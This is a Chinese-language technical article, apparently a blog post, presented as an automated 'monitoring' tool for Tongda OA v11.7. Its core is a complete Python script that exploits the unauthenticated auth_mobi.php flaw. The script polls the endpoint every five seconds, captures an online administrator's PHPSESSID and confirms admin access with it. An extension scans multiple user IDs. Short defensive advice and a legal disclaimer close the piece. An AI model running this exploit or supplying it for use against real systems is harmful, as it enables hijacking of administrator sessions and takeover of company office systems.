通达OA v11.7 漏洞自动化检测：Python脚本实现5秒间隔在线用户监控

通达OA v11.7 自动化安全监控：Python实现高精度会话劫持检测系统

在当今企业办公自动化系统中，安全漏洞的实时监控变得尤为重要。本文将深入探讨如何构建一个针对通达OA v11.7系统的自动化安全监控工具，通过Python实现高精度的会话状态检测与安全预警机制。

1. 漏洞原理与技术背景

通达OA v11.7的auth_mobi.php接口存在设计缺陷，当用户处于在线状态时，该接口会返回当前用户的PHPSESSID值。这一特性本应用于移动端身份验证，但由于缺乏足够的权限校验，导致攻击者可以利用此接口获取有效会话凭证。

关键漏洞点分析：

• 接口路径：/mobile/auth_mobi.php
• 触发参数：isAvatar=1&uid=1&P_VER=0
• 响应特征：
  • 用户离线：返回"RELOGIN"字符串
  • 用户在线：返回空内容，但响应头包含Set-Cookie字段

该漏洞影响范围涵盖通达OA v11.7及以下版本，攻击者无需任何认证即可利用此漏洞获取管理员会话，进而控制整个OA系统。

2. 自动化监控系统设计

我们设计的监控系统需要具备以下核心功能：

1. 定时检测机制：以可配置的时间间隔（如5秒）轮询目标接口
2. 状态判断逻辑：准确识别用户在线/离线状态
3. 会话提取功能：从响应头中捕获有效的PHPSESSID
4. 验证机制：确认获取的会话是否具有管理权限
5. 日志记录系统：详细记录所有检测事件和时间戳

系统架构如下图所示（文字描述替代图表）：

[目标OA系统] ↑↓ HTTP请求/响应 [监控客户端] ├── 调度模块（定时触发） ├── 请求引擎（HTTP通信） ├── 分析模块（响应解析） ├── 验证模块（权限确认） └── 日志模块（事件记录）

3. Python实现核心代码

以下是完整的监控脚本实现，包含异常处理和日志功能：

#!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests import re import time import logging from urllib.parse import urljoin from requests.packages.urllib3.exceptions import InsecureRequestWarning # 禁用SSL警告 requests.packages.urllib3.disable_warnings(InsecureRequestWarning) class TongdaOAMonitor: def __init__(self, base_url, interval=5): self.base_url = base_url self.interval = interval self.vuln_path = "/mobile/auth_mobi.php" self.check_path = "/general/index.php" self.session = requests.Session() self.headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } # 配置日志系统 logging.basicConfig( level=logging.INFO, format='%(asctime)s [%(levelname)s] %(message)s', handlers=[ logging.FileHandler('tongda_monitor.log'), logging.StreamHandler() ] ) self.logger = logging.getLogger(__name__) def check_vulnerability(self): """检测目标系统是否存在漏洞""" test_url = urljoin(self.base_url, self.vuln_path) params = {"isAvatar": "1", "uid": "1", "P_VER": "0"} try: response = self.session.get( test_url, params=params, headers=self.headers, verify=False, timeout=10 ) if response.status_code == 200: if "RELOGIN" in response.text: return True elif response.text == "": return True return False except Exception as e: self.logger.error(f"漏洞检测失败: {str(e)}") return False def monitor_session(self): """持续监控会话状态""" vuln_url = urljoin(self.base_url, self.vuln_path) params = {"isAvatar": "1", "uid": "1", "P_VER": "0"} while True: try: response = self.session.get( vuln_url, params=params, headers=self.headers, verify=False, timeout=10 ) current_time = time.strftime("%Y-%m-%d %H:%M:%S") if "RELOGIN" in response.text: self.logger.info(f"{current_time} - 目标用户处于离线状态") elif response.text == "": # 提取PHPSESSID match = re.search(r'PHPSESSID=([^;]+);', str(response.headers)) if match: phpsessid = match.group(1) self.logger.warning(f"{current_time} - 检测到用户在线，PHPSESSID: {phpsessid}") # 验证会话有效性 if self.verify_session(phpsessid): self.logger.critical(f"{current_time} - 成功验证管理员会话: {phpsessid}") else: self.logger.warning(f"{current_time} - 会话验证失败，可能权限不足") time.sleep(self.interval) except KeyboardInterrupt: self.logger.info("监控程序被用户中断") break except Exception as e: self.logger.error(f"监控过程中出现异常: {str(e)}") time.sleep(self.interval) def verify_session(self, phpsessid): """验证获取的会话是否有效""" check_url = urljoin(self.base_url, self.check_path) cookies = {"PHPSESSID": phpsessid} try: response = self.session.get( check_url, cookies=cookies, headers=self.headers, verify=False, timeout=10 ) # 检查响应中是否包含管理界面特征 if response.status_code == 200 and "系统管理" in response.text: return True return False except Exception as e: self.logger.error(f"会话验证失败: {str(e)}") return False if __name__ == "__main__": print("通达OA v11.7 会话监控系统") print("=" * 40) base_url = input("请输入目标OA系统基础URL(例如http://192.168.1.100): ").strip() interval = int(input("请输入监控间隔(秒，默认5): ") or "5") monitor = TongdaOAMonitor(base_url, interval) if monitor.check_vulnerability(): print("[+] 目标系统存在漏洞，开始监控...") monitor.monitor_session() else: print("[-] 目标系统不存在漏洞或无法访问")

4. 关键功能实现解析

4.1 会话状态检测机制

脚本通过定期请求auth_mobi.php接口实现状态检测：

response = self.session.get( vuln_url, params=params, headers=self.headers, verify=False, timeout=10 )

响应处理逻辑：

• 返回"RELOGIN" → 用户离线
• 返回空内容 → 用户在线
• 其他响应 → 可能目标不存在漏洞

4.2 PHPSESSID提取技术

使用正则表达式从响应头中提取会话ID：

match = re.search(r'PHPSESSID=([^;]+);', str(response.headers)) if match: phpsessid = match.group(1)

4.3 会话验证方法

获取到PHPSESSID后，脚本会尝试访问管理界面验证权限：

cookies = {"PHPSESSID": phpsessid} response = self.session.get( check_url, cookies=cookies, headers=self.headers, verify=False, timeout=10 )

验证标准是检查响应中是否包含"系统管理"等关键词，这些通常是管理员界面的特征。

5. 系统优化与增强功能

基础功能实现后，我们可以进一步优化监控系统：

5.1 多用户ID扫描

原始漏洞利用通常只检测uid=1的管理员账户，我们可以扩展为扫描多个用户：

user_ids = [1, 2, 3, 4, 5] # 常见的管理员和普通用户ID for uid in user_ids: params = {"isAvatar": "1", "uid": str(uid), "P_VER": "0"} # 发送请求并处理响应...

5.2 异常处理增强

完善的异常处理能提高脚本的稳定性：

try: # 监控代码... except requests.exceptions.ConnectionError: self.logger.error("网络连接错误，目标可能不可达") except requests.exceptions.Timeout: self.logger.warning("请求超时，将重试...") except Exception as e: self.logger.error(f"未知错误: {str(e)}")

5.3 日志系统优化

使用RotatingFileHandler实现日志轮转：

from logging.handlers import RotatingFileHandler handler = RotatingFileHandler( 'tongda_monitor.log', maxBytes=5*1024*1024, # 5MB backupCount=3 ) logging.basicConfig( level=logging.INFO, format='%(asctime)s [%(levelname)s] %(message)s', handlers=[handler, logging.StreamHandler()] )

6. 防御建议与安全加固

针对此漏洞，企业管理员应采取以下防护措施：

1. 立即升级：升级到通达OA v11.8或更高版本
2. 访问控制：
   • 限制/mobile/auth_mobi.php的访问IP
   • 添加额外的身份验证机制
3. 会话增强：
   • 启用HTTPOnly和Secure标志的Cookie
   • 实现会话绑定（IP、User-Agent等）
4. 监控预警：
   • 部署WAF规则检测异常访问模式
   • 监控auth_mobi.php接口的访问日志

临时缓解方案：

# Apache配置示例 <Location "/mobile/auth_mobi.php"> Order deny,allow Deny from all Allow from 192.168.1.0/24 # 只允许内网访问 </Location>

7. 法律与道德考量

需要特别强调的是：

1. 合法授权：仅在获得明确书面授权的情况下对目标系统进行测试
2. 最小影响：测试过程中避免对系统正常运行造成影响
3. 数据保护：不查看、修改或删除任何用户数据
4. 报告机制：发现漏洞后应及时通知相关单位

在实际安全评估工作中，建议遵循OSSTMM或PTES等专业测试标准，确保测试过程的规范性和合法性。